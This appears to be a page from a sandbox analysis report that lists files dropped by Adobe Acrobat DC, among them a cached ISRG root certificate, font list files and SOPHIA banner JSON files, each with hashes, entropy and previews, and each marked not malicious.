Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklx50K3lltfllXlE/HT8kxz1NNX8RolJuRdxLlGB9lQRYwpDdt:kKpKPeT86NMa8RdWBwRd
MD5:	64A67AE26A610D70F501F8E892A5460A
SHA1:	3803BCADA0348AB38185D4406A4337F9BFB7152B
SHA-256:	3F09D0DCB8522DF4B15D832F8B49B4106864B3D380EBBB8FB6F96FB00B3F694B
SHA-512:	F1E3AB2F029609E4D90CC59524547FC3D8D6AFA54D1C169BF49EE1B22D8F9C7DD144CE5BFC07506C9320C32721F2DD91B4D3F9DD3D8A6A2CBD013EAA9B0C3266
Malicious:	false
Preview:	p...... ........B....c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7944

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7944

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.340762297013683
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6n4H9VoZcg1vRcR0YcuIoAvJM3g98kUwPeUkwRe9:YvXKXu4HEZc0vyGMbLUkee9
MD5:	28CC7E853EF42A665D3E2DEAC9C8A676
SHA1:	AD092A1B69614D223C87C867107EC6148058F2D7
SHA-256:	423825E03EAFC86DF347A3E315E7DC9E88B747F129F1BDA5AA3170BD5BA24E88
SHA-512:	3705E8AFD593686E8B6F4FDAEE8580A8F27412443D85739E5AB48DFEB8DBEC040A76458C23696E86610D20A5C12B467489C8A3CA1FC957C3FB7224777100992E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ceb294c9-07ea-49fc-99e2-207d71744906","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735777831,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.289038361850909
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6n4H9VoZcg1vRcR0YcuIoAvJfBoTfXpnrPeUkwRe9:YvXKXu4HEZc0vyGWTfXcUkee9
MD5:	CE0C011B7772089E5940C8C1A36ADCDC
SHA1:	D0DE6F759C195977C637B1D5C12C7B4ACB20CFCA
SHA-256:	27A05C80F6F9EFEC304C4313E7613C673F823D9A10E9212DC1705ABE9D588693
SHA-512:	64AF9B416EF732C35C32E3C7AE4D4172E601AFE0B8302B8187DCED14C17A29036454D1F3E1FE80177A1E19179FF645D0AA7446C89C7578CC98A351801BCDAFA4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ceb294c9-07ea-49fc-99e2-207d71744906","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735777831,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.26745003511577
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6n4H9VoZcg1vRcR0YcuIoAvJfBD2G6UpnrPeUkwRe9:YvXKXu4HEZc0vyGR22cUkee9
MD5:	1A3A9C231CB6CA263A522889100135E2
SHA1:	0C48802FB8B3BC7EBD73330F190FB7D5D9AFF661
SHA-256:	657E189DA2CB9AA6CBEBC90978ACB5BB299DEBEC1B00E9540E3393574764EB21
SHA-512:	85C3A3AE0D3B0F6E8D2A16EF1A7D171B93DF3EE291B75304C1C4F4CABF2A6C063F596DCADD898C79398DCA36A9526FF2B06CE0DCD80F91682C4B4E57F7D3F18A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ceb294c9-07ea-49fc-99e2-207d71744906","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735777831,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.326979782531526
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6n4H9VoZcg1vRcR0YcuIoAvJfPmwrPeUkwRe9:YvXKXu4HEZc0vyGH56Ukee9
MD5:	C55C42B38CFCDF36B229328A80C779B1
SHA1:	5EA8B50815F6876A24D6EB637A3BA673AE0F76B6
SHA-256:	AC6949CC2896475F63DA34F6FF86C2BD08FD39FAA777096B6AB17DC4FA0F9669
SHA-512:	550E317DF7F286CBFBE20A725DEB54E1F9C0177B125427D9ACB590854001424EAC51FAFBF1DA4E497C867C986FABC8A5DEBD723D42128736F88D0CA6224FAD4D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ceb294c9-07ea-49fc-99e2-207d71744906","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735777831,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690269137562905
Encrypted:	false
SSDEEP:	24:Yv6XbEzvPpLgE9cQx8LennAvzBvkn0RCmK8czOCCS8:Yv7nhgy6SAFv5Ah8cv/8
MD5:	631B7EBD202D9FB0F3EB1890BEC7DB36
SHA1:	7829F082C55EBD964F395C37B29A1C0722844FBE
SHA-256:	0F7C36FBF6931512CE22B37F5D98354502F36CA1BAF943296E4B0EEEDBC9A450
SHA-512:	798DA78BB3B8DBEE0C84C91050AFBC696FD026ADEF75F7B274BEDD93497D7A2263C23F9696AB0F931B069BE4556DA0D457BDFACA18A1949E3CB447EC03884522
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ceb294c9-07ea-49fc-99e2-207d71744906","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735777831,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.273564027190588
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6n4H9VoZcg1vRcR0YcuIoAvJf8dPeUkwRe9:YvXKXu4HEZc0vyGU8Ukee9
MD5:	BB1C82081598AFD3FF608B777B6AFB49
SHA1:	2106B7A57922F5118A399AA4B8CC656C777E4921
SHA-256:	4F1290EE679EF8DCA3AF3CCD2895EB8C6E92E985EE33B1DA4F04549E2CD4AD3A
SHA-512:	F97AE5B5A900B528ED57F5941B4C87994C32ED82DE65BC3C7C2389B2FE1EAA2FAA2595A28C5CB130C2F4B8A7199D38A078610E21E96EA3B0C6453ECC2AEB1D43
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ceb294c9-07ea-49fc-99e2-207d71744906","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735777831,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.277152641165211
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6n4H9VoZcg1vRcR0YcuIoAvJfQ1rPeUkwRe9:YvXKXu4HEZc0vyGY16Ukee9
MD5:	07B96DD3A8010E7B477C5CD89D1810DB
SHA1:	07F066842B4A41922E820F9477750B117BA9C02C
SHA-256:	C51576D7B51C098A50C467BDF0F5C5E1F48F3797AF68421CD8AC5254A863F2C3
SHA-512:	D8324D9191234C1485C70D1D32120440C52F02D45ADC8281E8572C32A3E8389D058C513C302AF474AF04CEF30C1267F2DB3DEF98E3F32A27E64DF73CA16217DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ceb294c9-07ea-49fc-99e2-207d71744906","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735777831,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28432672855928
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6n4H9VoZcg1vRcR0YcuIoAvJfFldPeUkwRe9:YvXKXu4HEZc0vyGz8Ukee9
MD5:	7A9AF17E2C2FD6C2137B590D7CED5229
SHA1:	01E216DE9FB34A0EF2736AB06997202E03420863
SHA-256:	D03BAFFDAF07889828FDAE2B3DD81363BBD9FFCC8301119F2FA8B410BAFA5E34
SHA-512:	92649CB3B05692C24AE87357B201420650D1BD3163B7C15AD880BF5E03E5BE13CE956C6AC2DC61821B1145D4678AE4DEC493B81CA5B8C757D83EC377ECCF132A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ceb294c9-07ea-49fc-99e2-207d71744906","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735777831,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.300082062578781
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6n4H9VoZcg1vRcR0YcuIoAvJfzdPeUkwRe9:YvXKXu4HEZc0vyGb8Ukee9
MD5:	6AD440C925DFC334F56548FA57CF1F6A
SHA1:	C69C255AD3FC34DC880F565B7BDA04FE3E192EC1
SHA-256:	ECFB3CEA4A2F66D887F626FF9A4377D97576CEC5E1A88D2BB84DE9F9BD31A0CF
SHA-512:	57DF3A443D0A2538241C8E993D74651A997C3537F47E6DE3DEDCF5DA62D8F75429220E944FDAE142612DBB1ACDA29303FE0CEFE299D60A1B22694D90ACE4F59B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ceb294c9-07ea-49fc-99e2-207d71744906","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735777831,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.280031678108562
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6n4H9VoZcg1vRcR0YcuIoAvJfYdPeUkwRe9:YvXKXu4HEZc0vyGg8Ukee9
MD5:	3ABB134007A9E9C55C39A73A4CCBFBBE
SHA1:	8B1AC55810B529E5F3890C489CB3C1A165E27430
SHA-256:	2E492EEC9D8300D4DBF9FFB1CE433E1F2A20A0AA98D9757D4353F76A47B63DE7
SHA-512:	65CF6C8C58936A53834BCAA1F1E4B32C07A0A608507CEF7D7A6562443339629F61918C78B8B74856D3C34FD2000083AE495B6D1D0BDDE11025CDE21012025949
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ceb294c9-07ea-49fc-99e2-207d71744906","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735777831,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.266311849589019
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6n4H9VoZcg1vRcR0YcuIoAvJf+dPeUkwRe9:YvXKXu4HEZc0vyG28Ukee9
MD5:	79111D35AA5D37ABB3521428CBA6C33D
SHA1:	A12DB5D8562055CECF7CE3D3289248F09939CEBF
SHA-256:	7F0DA701FCEC99E08361F75E7423DDC66502F79214FDD6AA2667BB3EA9B787A6
SHA-512:	90A7F1F96E9AE18D033DFDB8B366AD63EADF4C42C56A5D29284B5AE75FB9A9848148AFFEB8CEFC83EFB6D3E98028D22095022E0EF2677FF6FDC070952AA4B609
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ceb294c9-07ea-49fc-99e2-207d71744906","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735777831,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.26371601510814
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6n4H9VoZcg1vRcR0YcuIoAvJfbPtdPeUkwRe9:YvXKXu4HEZc0vyGDV8Ukee9
MD5:	58602AA4E1C9A93AFF946986B9B8E73B
SHA1:	741F719D8068FD87C9EE4C21B8A1871DDB94CD4E
SHA-256:	3B1CE38753B550C3CCDCA7EBB2FC74F970E9D035B686D28DB71F6F8EC00C090D
SHA-512:	13FF54A261CBB377430AFBCF22D831AE4DFCF947BDA2EC276FB2D20768A806E208D452C2CB14E3C0F9292A4D35D6DE4AFEB734685654D38F546033737896321D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ceb294c9-07ea-49fc-99e2-207d71744906","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735777831,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

